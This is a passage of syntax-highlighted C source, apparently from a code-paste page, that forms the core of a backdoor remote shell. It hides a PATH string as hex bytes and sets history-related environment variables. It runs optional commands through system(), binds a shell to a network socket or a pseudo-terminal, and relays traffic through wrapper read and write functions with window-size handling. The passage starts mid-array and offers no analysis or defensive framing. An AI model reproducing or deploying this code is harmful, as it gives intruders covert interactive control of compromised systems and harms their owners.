<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x3a</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x3a</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x63</span><span class="sy0">,</span> <span class="nu12">0x61</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x3a</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x63</span><span class="sy0">,</span> <span class="nu12">0x61</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x3a</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x58</span><span class="sy0">,</span> <span class="nu12">0x31</span><span class="sy0">,</span> <span class="nu12">0x31</span><span class="sy0">,</span> <span class="nu12">0x52</span><span class="sy0">,</span> <span class="nu12">0x36</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x3a</span><span class="sy0">,</span> <span class="nu12">0x2e</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> term<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st0">&quot;vt100&quot;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; envp<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> <span class="sy0">=</span> home<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; envp<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">=</span> ps<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; envp<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">=</span> histfile<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; envp<span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span> <span class="sy0">=</span> mshist<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; envp<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span> <span class="sy0">=</span> ipath<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; envp<span class="br0">&#91;</span><span class="nu0">5</span><span class="br0">&#93;</span> <span class="sy0">=</span> term<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; envp<span class="br0">&#91;</span><span class="nu0">6</span><span class="br0">&#93;</span> <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>rcmd <span class="sy0">!=</span> NULL<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">system</span><span class="br0">&#40;</span>rcmd<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>dcmd <span class="sy0">!=</span> NULL<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">system</span><span class="br0">&#40;</span>dcmd<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; write<span class="br0">&#40;</span>sock<span class="sy0">,</span> <span class="st0">&quot;3458&quot;</span><span class="sy0">,</span> <span class="nu0">4</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>open_tty<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>fork<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dup2<span class="br0">&#40;</span>sock<span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dup2<span class="br0">&#40;</span>sock<span class="sy0">,</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dup2<span class="br0">&#40;</span>sock<span class="sy0">,</span> <span class="nu0">2</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; execve<span class="br0">&#40;</span>sh<span class="sy0">,</span> argvv<span class="sy0">,</span> envp<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>sock<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; subshell <span class="sy0">=</span> fork<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>subshell <span class="sy0">==</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>pty<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ioctl<span class="br0">&#40;</span>tty<span class="sy0">,</span> TIOCSCTTY<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>sock<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dup2<span class="br0">&#40;</span>tty<span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dup2<span class="br0">&#40;</span>tty<span class="sy0">,</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dup2<span class="br0">&#40;</span>tty<span class="sy0">,</span> <span class="nu0">2</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>tty<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; execve<span class="br0">&#40;</span>sh<span class="sy0">,</span> argvv<span class="sy0">,</span> envp<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>tty<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FD_ZERO<span class="br0">&#40;</span><span class="sy0">&amp;</span>fds<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FD_SET<span class="br0">&#40;</span>pty<span class="sy0">,</span> <span class="sy0">&amp;</span>fds<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FD_SET<span class="br0">&#40;</span>sock<span class="sy0">,</span> <span class="sy0">&amp;</span>fds<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>select<span class="br0">&#40;</span><span class="br0">&#40;</span>pty <span class="sy0">&gt;</span> sock<span class="br0">&#41;</span> <span class="sy0">?</span> <span class="br0">&#40;</span>pty<span class="sy0">+</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy0">:</span> <span class="br0">&#40;</span>sock<span class="sy0">+</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy0">&amp;</span>fds<span class="sy0">,</span> NULL<span class="sy0">,</span> NULL<span class="sy0">,</span> NULL<span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">0</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>FD_ISSET<span class="br0">&#40;</span>pty<span class="sy0">,</span> <span class="sy0">&amp;</span>fds<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> count<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; count <span class="sy0">=</span> read<span class="br0">&#40;</span>pty<span class="sy0">,</span> buf<span class="sy0">,</span> BUF<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>count <span class="sy0">&lt;=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>cwrite<span class="br0">&#40;</span>sock<span class="sy0">,</span> buf<span class="sy0">,</span> count<span class="br0">&#41;</span> <span class="sy0">&lt;=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>FD_ISSET<span class="br0">&#40;</span>sock<span class="sy0">,</span> <span class="sy0">&amp;</span>fds<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> count<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">char</span> <span class="sy0">*</span>p<span class="sy0">,</span> <span class="sy0">*</span>d<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d <span class="sy0">=</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">char</span> <span class="sy0">*</span><span class="br0">&#41;</span>buf<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; count <span class="sy0">=</span> cread<span class="br0">&#40;</span>sock<span class="sy0">,</span> buf<span class="sy0">,</span> BUF<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>count <span class="sy0">&lt;=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p <span class="sy0">=</span> <span class="kw3">memchr</span><span class="br0">&#40;</span>buf<span class="sy0">,</span> ECHAR<span class="sy0">,</span> count<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>p<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">char</span> wb<span class="br0">&#91;</span><span class="nu0">5</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> rlen <span class="sy0">=</span> count <span class="sy0">-</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">long</span><span class="br0">&#41;</span> p <span class="sy0">-</span> <span class="br0">&#40;</span><span class="kw4">long</span><span class="br0">&#41;</span> buf<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> winsize ws<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>rlen <span class="sy0">&gt;</span> <span class="nu0">5</span><span class="br0">&#41;</span> rlen <span class="sy0">=</span> <span class="nu0">5</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">memcpy</span><span class="br0">&#40;</span>wb<span class="sy0">,</span> p<span class="sy0">,</span> rlen<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>rlen <span class="sy0">&lt;</span> <span class="nu0">5</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ret <span class="sy0">=</span> cread<span class="br0">&#40;</span>sock<span class="sy0">,</span> <span class="sy0">&amp;</span>wb<span class="br0">&#91;</span>rlen<span class="br0">&#93;</span><span class="sy0">,</span> <span class="nu0">5</span> <span class="sy0">-</span> rlen<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ws.<span class="me1">ws_xpixel</span> <span class="sy0">=</span> ws.<span class="me1">ws_ypixel</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ws.<span class="me1">ws_col</span> <span class="sy0">=</span> <span class="br0">&#40;</span>wb<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">&lt;&lt;</span> <span class="nu0">8</span><span class="br0">&#41;</span> <span class="sy0">+</span> wb<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ws.<span class="me1">ws_row</span> <span class="sy0">=</span> <span class="br0">&#40;</span>wb<span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span> <span class="sy0">&lt;&lt;</span> <span class="nu0">8</span><span class="br0">&#41;</span> <span class="sy0">+</span> wb<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ioctl<span class="br0">&#40;</span>pty<span class="sy0">,</span> TIOCSWINSZ<span class="sy0">,</span> <span class="sy0">&amp;</span>ws<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; kill<span class="br0">&#40;</span><span class="nu0">0</span><span class="sy0">,</span> SIGWINCH<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ret <span class="sy0">=</span> write<span class="br0">&#40;</span>pty<span class="sy0">,</span> buf<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">long</span><span class="br0">&#41;</span> p <span class="sy0">-</span> <span class="br0">&#40;</span><span class="kw4">long</span><span class="br0">&#41;</span> buf<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rlen <span class="sy0">=</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">long</span><span class="br0">&#41;</span> buf <span class="sy0">+</span> count<span class="br0">&#41;</span> <span class="sy0">-</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">long</span><span class="br0">&#41;</span>p<span class="sy0">+</span><span class="nu0">5</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>rlen <span class="sy0">&gt;</span> <span class="nu0">0</span><span class="br0">&#41;</span> ret <span class="sy0">=</span> write<span class="br0">&#40;</span>pty<span class="sy0">,</span> p<span class="sy0">+</span><span class="nu0">5</span><span class="sy0">,</span> rlen<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>write<span class="br0">&#40;</span>pty<span class="sy0">,</span> d<span class="sy0">,</span> count<span class="br0">&#41;</span> <span class="sy0">&lt;=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>sock<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>pty<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; waitpid<span class="br0">&#40;</span>subshell<span class="sy0">,</span> NULL<span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
